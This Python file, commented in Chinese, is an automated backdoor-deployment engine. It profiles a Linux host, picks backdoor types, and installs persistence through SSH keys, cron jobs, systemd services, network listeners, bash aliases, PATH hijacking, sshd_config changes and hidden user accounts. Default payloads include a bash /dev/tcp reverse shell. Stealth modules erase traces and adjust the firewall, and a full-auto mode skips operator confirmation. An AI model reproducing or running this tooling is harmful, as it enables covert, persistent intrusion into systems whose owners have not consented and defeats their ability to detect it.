#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

自动化部署引擎
实现从环境检测到后门部署的全自动化工作流
解决手动干预和操作失误问题
"""

import os
import sys
import json
import time
import subprocess
from typing import Dict, List, Tuple, Optional, Any
from dataclasses import dataclass
from enum import Enum

try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from modules.intelligence.intelligent_decision_engine import (
        IntelligentDecisionEngine, BackdoorRecommendation, 
        BackdoorType, ThreatLevel, SystemEnvironment
    )
    from modules.intelligence.adaptive_parameter_optimizer import (
        AdaptiveParameterOptimizer, OptimizedParameters, OptimizationLevel
    )
    from modules.exploits import exploit_modules
    
    # 导入隐蔽性模块
    from modules.stealth.enhanced_backdoor_deployer import enhanced_deployer, deploy_stealth_backdoors
    from modules.stealth.trace_cleaner import auto_clean_traces
    from modules.stealth.firewall_adapter import auto_configure_firewall
    
    STEALTH_AVAILABLE = True
except ImportError as e:
    print("导入模块失败: {}".format(e))
    STEALTH_AVAILABLE = False


class DeploymentStatus(Enum):
    """部署状态"""
    PENDING = "pending"
    RUNNING = "running"
    SUCCESS = "success"
    FAILED = "failed"
    SKIPPED = "skipped"


class AutomationLevel(Enum):
    """自动化级别"""
    MANUAL = "manual"           # 手动确认每个步骤
    SEMI_AUTO = "semi_auto"     # 半自动，关键步骤需确认
    FULL_AUTO = "full_auto"     # 全自动，无需人工干预


@dataclass
class DeploymentTask:
    """部署任务"""
    task_id: str
    backdoor_type: BackdoorType
    optimized_params: OptimizedParameters
    recommendation: BackdoorRecommendation
    status: DeploymentStatus
    start_time: Optional[float] = None
    end_time: Optional[float] = None
    error_message: Optional[str] = None
    deployment_result: Optional[Dict[str, Any]] = None


@dataclass
class DeploymentPlan:
    """部署计划"""
    plan_id: str
    system_environment: SystemEnvironment
    recommended_backdoors: List[BackdoorRecommendation]
    deployment_tasks: List[DeploymentTask]
    automation_level: AutomationLevel
    risk_threshold: float
    created_time: float
    execution_time: Optional[float] = None


class EnvironmentDetector:
    """环境检测器"""
    
    def __init__(self):
        self.name = "环境检测器"
        self.check_script = "check.py"
    
    def run_detection(self) -> Dict[str, Any]:
        """运行环境检测"""
        color_blue("🔍 正在运行环境检测...")
        
        try:
            # 运行check.py获取检测结果
            result = subprocess.run(
                [sys.executable, self.check_script],
                capture_output=True,
                text=True,
                timeout=300  # 5分钟超时
            )
            
            if result.returncode == 0:
                # 解析检测结果
                detection_data = self._parse_detection_output(result.stdout)
                color_green("✓ 环境检测完成")
                return detection_data
            else:
                color_red("环境检测失败: {}".format(result.stderr))
                return {}
                
        except subprocess.TimeoutExpired:
            color_red("环境检测超时")
            return {}
        except Exception as e:
            color_red("环境检测异常: {}".format(e))
            return {}
    
    def _parse_detection_output(self, output: str) -> Dict[str, Any]:
        """解析检测输出"""
        detection_data = {
            'os_info': {},
            'security_features': {},
            'services': [],
            'vulnerabilities': [],
            'network_info': {},
            'system_load': {},
            'recommendations': []
        }
        
        lines = output.split('\n')
        current_section = None
        
        for line in lines:
            line = line.strip()
            if not line:
                continue
            
            # 解析不同部分的信息
            if "操作系统信息" in line or "OS Information" in line:
                current_section = 'os_info'
            elif "安全特性" in line or "Security Features" in line:
                current_section = 'security_features'
            elif "运行服务" in line or "Running Services" in line:
                current_section = 'services'
            elif "漏洞信息" in line or "Vulnerabilities" in line:
                current_section = 'vulnerabilities'
            elif "网络信息" in line or "Network Information" in line:
                current_section = 'network_info'
            elif "系统负载" in line or "System Load" in line:
                current_section = 'system_load'
            elif current_section:
                self._parse_section_line(detection_data, current_section, line)
        
        return detection_data
    
    def _parse_section_line(self, data: Dict[str, Any], section: str, line: str):
        """解析特定部分的行"""
        if section == 'os_info':
            if ":" in line:
                key, value = line.split(":", 1)
                data['os_info'][key.strip()] = value.strip()
        elif section == 'security_features':
            if "SELinux" in line:
                data['security_features']['selinux'] = "enabled" in line.lower()
            elif "AppArmor" in line:
                data['security_features']['apparmor'] = "enabled" in line.lower()
            elif "防火墙" in line or "Firewall" in line:
                data['security_features']['firewall'] = "启用" in line or "enabled" in line.lower()
        elif section == 'services':
            if line.startswith("-") or line.startswith("*"):
                service_name = line.lstrip("- *").strip()
                data['services'].append(service_name)
        elif section == 'vulnerabilities':
            if line.startswith("-") or line.startswith("*"):
                vuln = line.lstrip("- *").strip()
                data['vulnerabilities'].append(vuln)


class BackdoorDeployer:
    """后门部署器"""
    
    def __init__(self, enable_stealth=True):
        self.name = "后门部署器"
        self.deployment_history = []
        self.stealth_enabled = enable_stealth and STEALTH_AVAILABLE
        
        if self.stealth_enabled:
            color_blue("🔒 启用隐蔽性增强功能")
        else:
            color_yellow("⚠️ 隐蔽性功能不可用，使用标准部署模式")
    
    def deploy_backdoor(self, task: DeploymentTask) -> bool:
        """部署后门"""
        color_blue("🚀 正在部署 {} 后门...".format(task.backdoor_type.value))
        
        task.start_time = time.time()
        task.status = DeploymentStatus.RUNNING
        
        try:
            # 根据后门类型选择部署方法
            if task.backdoor_type == BackdoorType.SSH_KEY:
                result = self._deploy_ssh_key_backdoor(task)
            elif task.backdoor_type == BackdoorType.CRONTAB:
                result = self._deploy_crontab_backdoor(task)
            elif task.backdoor_type == BackdoorType.STRACE:
                result = self._deploy_strace_backdoor(task)
            elif task.backdoor_type == BackdoorType.SYSTEM_SERVICE:
                result = self._deploy_service_backdoor(task)
            elif task.backdoor_type == BackdoorType.NETWORK:
                result = self._deploy_network_backdoor(task)
            elif task.backdoor_type == BackdoorType.BASH_ALIAS:
                result = self._deploy_bash_alias_backdoor(task)
            elif task.backdoor_type == BackdoorType.ENVIRONMENT:
                result = self._deploy_environment_backdoor(task)
            elif task.backdoor_type == BackdoorType.SSH_CONFIG:
                result = self._deploy_ssh_config_backdoor(task)
            elif task.backdoor_type == BackdoorType.USER_ACCOUNT:
                result = self._deploy_user_account_backdoor(task)
            else:
                result = False
                task.error_message = "不支持的后门类型: {}".format(task.backdoor_type.value)
            
            task.end_time = time.time()
            
            if result:
                task.status = DeploymentStatus.SUCCESS
                color_green("✓ {} 后门部署成功".format(task.backdoor_type.value))
                return True
            else:
                task.status = DeploymentStatus.FAILED
                color_red("✗ {} 后门部署失败".format(task.backdoor_type.value))
                return False
                
        except Exception as e:
            task.end_time = time.time()
            task.status = DeploymentStatus.FAILED
            task.error_message = str(e)
            color_red("✗ {} 后门部署异常: {}".format(task.backdoor_type.value, e))
            return False
        finally:
            self.deployment_history.append(task)
    
    def _deploy_ssh_key_backdoor(self, task: DeploymentTask) -> bool:
        """部署SSH密钥后门"""
        try:
            if self.stealth_enabled:
                # 使用隐蔽性增强部署
                result = enhanced_deployer.deploy_ssh_key_backdoor(
                    key_size=task.optimized_params.parameters.get('key_size', 2048),
                    key_type=task.optimized_params.parameters.get('key_type', 'rsa'),
                    key_comment=task.optimized_params.parameters.get('key_comment', 'user@host')
                )
                
                task.deployment_result = {
                    'backdoor_type': 'ssh_key',
                    'stealth_enabled': True,
                    **result
                }
                
                return result.get('success', False)
            else:
                # 标准部署
                backdoor = exploit_modules.SSHKeyBackdoor()
                params = task.optimized_params.parameters
                
                # 使用优化后的参数
                backdoor.key_size = params.get('key_size', 2048)
                backdoor.key_type = params.get('key_type', 'rsa')
                backdoor.key_comment = params.get('key_comment', 'user@host')
                
                # 执行部署
                success = backdoor.deploy()
                
                task.deployment_result = {
                    'backdoor_type': 'ssh_key',
                    'key_size': backdoor.key_size,
                    'key_type': backdoor.key_type,
                    'public_key': getattr(backdoor, 'public_key', None),
                    'private_key_path': getattr(backdoor, 'private_key_path', None)
                }
                
                return success
            
        except Exception as e:
            task.error_message = "SSH密钥后门部署失败: {}".format(e)
            return False
    
    def _deploy_crontab_backdoor(self, task: DeploymentTask) -> bool:
        """部署Crontab后门"""
        try:
            if self.stealth_enabled:
                # 使用隐蔽性增强部署
                result = enhanced_deployer.deploy_crontab_backdoor(
                    interval=task.optimized_params.parameters.get('interval', '*/5 * * * *'),
                    command=task.optimized_params.parameters.get('command', '/bin/bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'),
                    command_wrapper=task.optimized_params.parameters.get('command_wrapper', True)
                )
                
                task.deployment_result = {
                    'backdoor_type': 'crontab',
                    'stealth_enabled': True,
                    **result
                }
                
                return result.get('success', False)
            else:
                # 标准部署
                backdoor = exploit_modules.CrontabBackdoor()
                params = task.optimized_params.parameters
                
                # 使用优化后的参数
                backdoor.interval = params.get('interval', '*/5 * * * *')
                backdoor.command_wrapper = params.get('command_wrapper', True)
            
            # 执行部署
            success = backdoor.deploy()
            
            task.deployment_result = {
                'backdoor_type': 'crontab',
                'interval': backdoor.interval,
                'cron_entry': getattr(backdoor, 'cron_entry', None)
            }
            
            return success
            
        except Exception as e:
            task.error_message = "Crontab后门部署失败: {}".format(e)
            return False
    
    def _deploy_strace_backdoor(self, task: DeploymentTask) -> bool:
        """部署Strace后门"""
        try:
            backdoor = exploit_modules.StraceBackdoor()
            params = task.optimized_params.parameters
            
            # 使用优化后的参数
            backdoor.sample_rate = params.get('sample_rate', 0.1)
            backdoor.target_process = params.get('target_process', 'sshd')
            backdoor.log_file = params.get('log_file', '/tmp/.trace.log')
            
            # 执行部署
            success = backdoor.deploy()
            
            task.deployment_result = {
                'backdoor_type': 'strace',
                'sample_rate': backdoor.sample_rate,
                'target_process': backdoor.target_process,
                'log_file': backdoor.log_file
            }
            
            return success
            
        except Exception as e:
            task.error_message = "Strace后门部署失败: {}".format(e)
            return False
    
    def _deploy_service_backdoor(self, task: DeploymentTask) -> bool:
        """部署系统服务后门"""
        try:
            if self.stealth_enabled:
                # 使用隐蔽性增强部署
                result = enhanced_deployer.deploy_systemd_service_backdoor(
                    service_name=task.optimized_params.parameters.get('service_name', 'system-maintenance'),
                    restart_policy=task.optimized_params.parameters.get('restart_policy', 'always'),
                    command=task.optimized_params.parameters.get('command', '/bin/bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"')
                )
                
                task.deployment_result = {
                    'backdoor_type': 'system_service',
                    'stealth_enabled': True,
                    **result
                }
                
                return result.get('success', False)
            else:
                # 标准部署
                backdoor = exploit_modules.SystemServiceBackdoor()
                params = task.optimized_params.parameters
                
                # 使用优化后的参数
                backdoor.service_name = params.get('service_name', 'system-maintenance')
                backdoor.restart_policy = params.get('restart_policy', 'always')
                
                # 执行部署
                success = backdoor.deploy()
            
            task.deployment_result = {
                'backdoor_type': 'system_service',
                'service_name': backdoor.service_name,
                'service_file': getattr(backdoor, 'service_file', None)
            }
            
            return success
            
        except Exception as e:
            task.error_message = "系统服务后门部署失败: {}".format(e)
            return False
    
    def _deploy_network_backdoor(self, task: DeploymentTask) -> bool:
        """部署网络后门"""
        try:
            if self.stealth_enabled:
                # 使用隐蔽性增强部署（包含防火墙自动配置）
                result = enhanced_deployer.deploy_network_backdoor(
                    port=task.optimized_params.parameters.get('port', 8080),
                    bind_address=task.optimized_params.parameters.get('bind_address', '0.0.0.0'),
                    protocol=task.optimized_params.parameters.get('protocol', 'tcp')
                )
                
                task.deployment_result = {
                    'backdoor_type': 'network',
                    'stealth_enabled': True,
                    **result
                }
                
                return result.get('success', False)
            else:
                # 标准部署
                backdoor = exploit_modules.NetworkBackdoor()
                params = task.optimized_params.parameters
                
                # 使用优化后的参数
                backdoor.port = params.get('port', 8080)
                backdoor.bind_address = params.get('bind_address', '0.0.0.0')
                backdoor.protocol = params.get('protocol', 'tcp')
                
                # 执行部署
                success = backdoor.deploy()
                
                task.deployment_result = {
                    'backdoor_type': 'network',
                    'port': backdoor.port,
                    'bind_address': backdoor.bind_address,
                    'protocol': backdoor.protocol
                }
                
                return success
            
        except Exception as e:
            task.error_message = "网络后门部署失败: {}".format(e)
            return False
    
    def _deploy_bash_alias_backdoor(self, task: DeploymentTask) -> bool:
        """部署Bash别名后门"""
        try:
            backdoor = exploit_modules.BashAliasBackdoor()
            params = task.optimized_params.parameters
            
            # 使用优化后的参数
            backdoor.target_command = params.get('target_command', 'ls')
            backdoor.alias_file = params.get('alias_file', '~/.bashrc')
            
            # 执行部署
            success = backdoor.deploy()
            
            task.deployment_result = {
                'backdoor_type': 'bash_alias',
                'target_command': backdoor.target_command,
                'alias_file': backdoor.alias_file
            }
            
            return success
            
        except Exception as e:
            task.error_message = "Bash别名后门部署失败: {}".format(e)
            return False
    
    def _deploy_environment_backdoor(self, task: DeploymentTask) -> bool:
        """部署环境变量后门"""
        try:
            backdoor = exploit_modules.EnvironmentBackdoor()
            params = task.optimized_params.parameters
            
            # 使用优化后的参数
            backdoor.target_binary = params.get('target_binary', 'ls')
            backdoor.hijack_path = params.get('hijack_path', '/tmp/.bins')
            
            # 执行部署
            success = backdoor.deploy()
            
            task.deployment_result = {
                'backdoor_type': 'environment',
                'target_binary': backdoor.target_binary,
                'hijack_path': backdoor.hijack_path
            }
            
            return success
            
        except Exception as e:
            task.error_message = "环境变量后门部署失败: {}".format(e)
            return False
    
    def _deploy_ssh_config_backdoor(self, task: DeploymentTask) -> bool:
        """部署SSH配置后门"""
        try:
            backdoor = exploit_modules.SSHConfigBackdoor()
            params = task.optimized_params.parameters
            
            # 使用优化后的参数
            backdoor.backdoor_port = params.get('backdoor_port', 2222)
            backdoor.config_file = params.get('config_file', '/etc/ssh/sshd_config')
            
            # 执行部署
            success = backdoor.deploy()
            
            task.deployment_result = {
                'backdoor_type': 'ssh_config',
                'backdoor_port': backdoor.backdoor_port,
                'config_file': backdoor.config_file
            }
            
            return success
            
        except Exception as e:
            task.error_message = "SSH配置后门部署失败: {}".format(e)
            return False
    
    def _deploy_user_account_backdoor(self, task: DeploymentTask) -> bool:
        """部署用户账户后门"""
        try:
            backdoor = exploit_modules.UserAccountBackdoor()
            params = task.optimized_params.parameters
            
            # 使用优化后的参数
            backdoor.username = params.get('username', 'daemon1')
            backdoor.group = params.get('group', 'users')
            backdoor.home_directory = params.get('home_directory', '/var/lib/daemon1')
            
            # 执行部署
            success = backdoor.deploy()
            
            task.deployment_result = {
                'backdoor_type': 'user_account',
                'username': backdoor.username,
                'group': backdoor.group,
                'home_directory': backdoor.home_directory
            }
            
            return success
            
        except Exception as e:
            task.error_message = "用户账户后门部署失败: {}".format(e)
            return False


class AutomatedDeploymentEngine:
    """自动化部署引擎"""
    
    def __init__(self, automation_level: AutomationLevel = AutomationLevel.SEMI_AUTO, enable_stealth: bool = True):
        self.name = "自动化部署引擎"
        self.automation_level = automation_level
        self.detector = EnvironmentDetector()
        self.decision_engine = IntelligentDecisionEngine()
        self.parameter_optimizer = AdaptiveParameterOptimizer()
        self.deployer = BackdoorDeployer(enable_stealth=enable_stealth)
        self.deployment_plans = []
        
        if enable_stealth and STEALTH_AVAILABLE:
            color_blue("🔒 自动化部署引擎启用隐蔽性增强功能")
        elif enable_stealth and not STEALTH_AVAILABLE:
            color_yellow("⚠️ 隐蔽性模块不可用，使用标准部署模式")
    
    def execute_automated_deployment(self, risk_threshold: float = 0.7) -> DeploymentPlan:
        """执行自动化部署"""
        color_blue("🤖 启动自动化部署引擎...")
        
        plan_id = "plan_{}".format(int(time.time()))
        
        # 步骤1: 环境检测
        color_blue("📋 步骤1: 环境检测")
        detection_data = self.detector.run_detection()
        
        if not detection_data:
            color_red("环境检测失败，无法继续自动化部署")
            return None
        
        # 步骤2: 环境分析和后门推荐
        color_blue("📋 步骤2: 环境分析和后门推荐")
        system_env = self.decision_engine.collect_environment_info()
        recommendations = self.decision_engine.recommend_backdoors(system_env)
        
        # 过滤高风险推荐
        filtered_recommendations = [
            rec for rec in recommendations 
            if rec.success_probability >= risk_threshold
        ]
        
        if not filtered_recommendations:
            color_yellow("没有符合风险阈值的后门推荐")
            filtered_recommendations = recommendations[:1]  # 至少保留一个
        
        # 步骤3: 参数优化
        color_blue("📋 步骤3: 参数优化")
        deployment_tasks = []
        
        for i, recommendation in enumerate(filtered_recommendations):
            task_id = "{}_task_{}".format(plan_id, i+1)
            
            # 优化参数
            optimized_params = self.parameter_optimizer.optimize_parameters(
                recommendation.backdoor_type
            )
            
            # 创建部署任务
            task = DeploymentTask(
                task_id=task_id,
                backdoor_type=recommendation.backdoor_type,
                optimized_params=optimized_params,
                recommendation=recommendation,
                status=DeploymentStatus.PENDING
            )
            
            deployment_tasks.append(task)
        
        # 创建部署计划
        deployment_plan = DeploymentPlan(
            plan_id=plan_id,
            system_environment=system_env,
            recommended_backdoors=filtered_recommendations,
            deployment_tasks=deployment_tasks,
            automation_level=self.automation_level,
            risk_threshold=risk_threshold,
            created_time=time.time()
        )
        
        # 步骤4: 执行部署
        color_blue("📋 步骤4: 执行部署")
        
        if self.automation_level == AutomationLevel.MANUAL:
            # 手动模式：显示计划，等待确认
            self._display_deployment_plan(deployment_plan)
            if not self._get_user_confirmation("是否执行部署计划？"):
                color_yellow("用户取消部署")
                return deployment_plan
        
        elif self.automation_level == AutomationLevel.SEMI_AUTO:
            # 半自动模式：显示计划，高风险任务需确认
            self._display_deployment_plan(deployment_plan)
            high_risk_tasks = [
                task for task in deployment_tasks 
                if task.recommendation.risk_level in [ThreatLevel.HIGH, ThreatLevel.CRITICAL]
            ]
            
            if high_risk_tasks and not self._get_user_confirmation("发现{}个高风险任务，是否继续？".format(len(high_risk_tasks))):
                color_yellow("用户取消高风险部署")
                # 只执行低风险任务
                deployment_tasks = [
                    task for task in deployment_tasks 
                    if task.recommendation.risk_level not in [ThreatLevel.HIGH, ThreatLevel.CRITICAL]
                ]
        
        # 执行部署任务
        deployment_plan.execution_time = time.time()
        
        for task in deployment_tasks:
            if self.automation_level == AutomationLevel.MANUAL:
                if not self._get_user_confirmation("是否部署 {} 后门？".format(task.backdoor_type.value)):
                    task.status = DeploymentStatus.SKIPPED
                    continue
            
            success = self.deployer.deploy_backdoor(task)
            
            if not success and self.automation_level != AutomationLevel.FULL_AUTO:
                if not self._get_user_confirmation("部署失败，是否继续其他任务？"):
                    break
        
        # 保存部署计划
        self.deployment_plans.append(deployment_plan)
        
        # 步骤5: 环境痕迹清理（如果启用隐蔽性功能）
        if self.deployer.stealth_enabled:
            color_blue("📋 步骤5: 环境痕迹清理")
            try:
                auto_clean_traces()
                color_green("✓ 环境痕迹清理完成")
            except Exception as e:
                color_yellow("⚠️ 环境痕迹清理失败: {}".format(e))
        
        # 步骤6: 生成报告
        color_blue("📋 步骤6: 生成部署报告")
        self._generate_deployment_report(deployment_plan)
        
        color_green("🎉 自动化部署完成")
        return deployment_plan
    
    def _display_deployment_plan(self, plan: DeploymentPlan):
        """显示部署计划"""
        print("\n" + "="*60)
        print("📋 部署计划: {}".format(plan.plan_id))
        print("="*60)
        
        print("🎯 目标系统: {} {}".format(plan.system_environment.distro, plan.system_environment.version))
        # 根据安全特性判断安全级别
        security_level = "HIGH" if (plan.system_environment.selinux_enabled or 
                                  plan.system_environment.apparmor_enabled or 
                                  plan.system_environment.firewall_active) else "MEDIUM"
        print("🔒 安全级别: {}".format(security_level))
        print("⚙️ 自动化级别: {}".format(plan.automation_level.value))
        print("📊 风险阈值: {}".format(plan.risk_threshold))
        
        print("\n📝 推荐后门 ({}个):".format(len(plan.recommended_backdoors)))
        for i, rec in enumerate(plan.recommended_backdoors, 1):
            print("  {}. {}".format(i, rec.backdoor_type.value))
            print("     成功率: {:.1%}".format(rec.success_probability))
            print("     风险级别: {}".format(rec.risk_level.value))
            print("     推荐原因: {}".format(', '.join(rec.reasons)))
        
        print("\n🚀 部署任务 ({}个):".format(len(plan.deployment_tasks)))
        for i, task in enumerate(plan.deployment_tasks, 1):
            print("  {}. {} - {}".format(i, task.backdoor_type.value, task.status.value))
            if task.optimized_params.optimization_reasons:
                print("     优化: {}".format(', '.join(task.optimized_params.optimization_reasons[:2])))
        
        print("="*60)
    
    def _get_user_confirmation(self, message: str) -> bool:
        """获取用户确认"""
        if self.automation_level == AutomationLevel.FULL_AUTO:
            return True
        
        try:
            response = input("{} (y/N): ".format(message)).strip().lower()
            return response in ['y', 'yes', '是']
        except KeyboardInterrupt:
            return False
    
    def _generate_deployment_report(self, plan: DeploymentPlan):
        """生成部署报告"""
        report_file = "deployment_report_{}.json".format(plan.plan_id)
        
        # 统计结果
        total_tasks = len(plan.deployment_tasks)
        success_tasks = len([t for t in plan.deployment_tasks if t.status == DeploymentStatus.SUCCESS])
        failed_tasks = len([t for t in plan.deployment_tasks if t.status == DeploymentStatus.FAILED])
        skipped_tasks = len([t for t in plan.deployment_tasks if t.status == DeploymentStatus.SKIPPED])
        
        report_data = {
            'plan_id': plan.plan_id,
            'execution_time': plan.execution_time,
            'automation_level': plan.automation_level.value,
            'risk_threshold': plan.risk_threshold,
            'system_environment': {
                'distro': plan.system_environment.distro,
                'version': plan.system_environment.version,
                'security_features': {
                    'selinux_enabled': plan.system_environment.selinux_enabled,
                    'apparmor_enabled': plan.system_environment.apparmor_enabled,
                    'firewall_active': plan.system_environment.firewall_active
                }
            },
            'statistics': {
                'total_tasks': total_tasks,
                'success_tasks': success_tasks,
                'failed_tasks': failed_tasks,
                'skipped_tasks': skipped_tasks,
                'success_rate': success_tasks / total_tasks if total_tasks > 0 else 0
            },
            'deployment_tasks': []
        }
        
        # 任务详情
        for task in plan.deployment_tasks:
            task_data = {
                'task_id': task.task_id,
                'backdoor_type': task.backdoor_type.value,
                'status': task.status.value,
                'start_time': task.start_time,
                'end_time': task.end_time,
                'duration': (task.end_time - task.start_time) if task.start_time and task.end_time else None,
                'success_probability': task.recommendation.success_probability,
                'risk_level': task.recommendation.risk_level.value,
                'optimization_reasons': task.optimized_params.optimization_reasons,
                'performance_impact': task.optimized_params.performance_impact,
                'error_message': task.error_message,
                'deployment_result': task.deployment_result
            }
            report_data['deployment_tasks'].append(task_data)
        
        # 保存报告
        try:
            with open(report_file, 'w', encoding='utf-8') as f:
                json.dump(report_data, f, ensure_ascii=False, indent=2)
            
            color_green("✓ 部署报告已保存: {}".format(report_file))
            
            # 显示摘要
            print(f"\n📊 部署摘要:")
            print("  总任务数: {}".format(total_tasks))
            print("  成功: {}".format(success_tasks))
            print("  失败: {}".format(failed_tasks))
            print("  跳过: {}".format(skipped_tasks))
            print("  成功率: {:.1%}".format(success_tasks/total_tasks) if total_tasks > 0 else "  成功率: N/A")
            
        except Exception as e:
            color_red("保存部署报告失败: {}".format(e))
    
    def get_deployment_history(self) -> List[DeploymentPlan]:
        """获取部署历史"""
        return self.deployment_plans
    
    def set_automation_level(self, level: AutomationLevel):
        """设置自动化级别"""
        self.automation_level = level
        color_blue("自动化级别已设置为: {}".format(level.value))


def main():
    """测试自动化部署引擎"""
    print("🤖 自动化部署引擎测试")
    print("=" * 50)
    
    # 创建自动化部署引擎
    engine = AutomatedDeploymentEngine(AutomationLevel.SEMI_AUTO)
    
    # 执行自动化部署
    deployment_plan = engine.execute_automated_deployment(risk_threshold=0.6)
    
    if deployment_plan:
        print("\n✅ 部署计划 {} 执行完成".format(deployment_plan.plan_id))
        
        # 显示部署历史
        history = engine.get_deployment_history()
        print("📚 部署历史: {} 个计划".format(len(history)))


if __name__ == "__main__":
    main()